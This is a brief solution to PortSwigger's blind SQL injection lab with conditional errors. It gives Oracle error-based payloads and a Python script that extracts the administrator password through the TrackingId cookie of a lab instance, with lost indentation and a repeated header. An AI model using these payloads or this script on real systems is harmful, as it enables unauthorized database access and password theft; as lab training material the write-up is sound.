Blind SQL injection with conditional errors
Lab 12 regarding the SQL Injection vulnerability from PortSwigger.




Last updated
Lab 12 regarding the SQL Injection vulnerability from PortSwigger.




Last updated
' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '--' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND LENGTH(password)>=21) || '--import string
import requests
def exploit(url, TrackingId):
values = string.ascii_lowercase + string.digits
passw = ''
for i in range(1, 21):
for j in range(len(values)):
payload = f"' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND SUBSTR(password,{i}, 1)='{values[j]}') || '--"
cookie = {'Cookie':TrackingId + payload}
request = requests.get(url, headers=cookie)
print("[*]Finding Password: "+values[j], end='\r')
if(request.status_code == 500):
passw += values[j]
print("[*]Finding Password: "+passw)
break
print("[*]Password Found: "+passw)
def main():
url = 'https://0a7a0093034dcc4dc02638e40079008d.web-security-academy.net/'
TrackingId = 'TrackingId=bAzfrSsqiFgA7gnw'
exploit(url, TrackingId)
if __name__ == "__main__":
main()